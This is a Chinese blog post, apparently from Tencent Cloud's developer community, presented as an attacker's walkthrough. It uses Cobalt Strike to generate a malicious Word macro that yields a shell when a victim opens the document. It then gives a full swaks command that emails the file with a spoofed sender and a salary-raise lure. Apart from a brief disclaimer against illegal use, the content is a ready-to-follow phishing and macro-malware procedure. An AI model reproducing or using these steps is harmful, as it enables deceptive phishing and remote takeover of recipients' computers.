在日常工作中，形形色色的各种办公软件已经离不开我们。而利用各种
wordexcelppt进行各种攻击。本文将从攻击者的角度进行演示，请勿非法、恶意攻击他人。
宏的认识
宏就是一些命令组织在一起，作为一个单独命令完成一个特定任务。Microsoft Word中对宏定义为:"宏就是能组织到一起作为一独立的命令使用的一系列word命令，它能使日常工作变得更容易"。Word使用宏语言Visual Basic将宏作为一系列指令来编写。
利用CS生成宏
首先登录CS
创建监听
生成宏
点击attacks-packages-ms office macro
然后点击Copy Macro
创建带宏的WORD文档
保存文件后，运行文件！成功得到shell
发送你的文件
利用SWAKS，我们可以更加便捷的将带有宏的word文档发给他人。
使用示例如下：
代码语言：javascript复制swaks --to 136****46@qq.com --from l***ng@qianxin.com --h-From: '"秘书小爱"<admin@admin.com>' --header "Subject: 关于集团年底涨薪申请word模板更新的通告" --body "各位一线工程师，集团对外word统一格式，请下载附件使用，谢谢合作！" --attach-name 渗透报告模版.doc --attach-type application/msword --attach /tmp/渗透报告模版.doc --server smtp.163.com -p 25 -au 发件箱@163.com -ap SMTP密码
这样当被人打开word文档后，我们就可以获得相应的sheel.
注意
随着office版本的升高，需要生成宏模板才可以。
我的博客即将同步至腾讯云 社区，邀请大家一同入驻：https://cloud.tencent.com/developer/support-plan?invite_code=2fukfwn4c9s0s
版权属于：逍遥子大表哥
本文链接：https://cloud.tencent.com/developer/article/1921487
按照知识共享署名-非商业性使用 4.0 国际协议进行许可，转载引用文章应遵循相同协议。
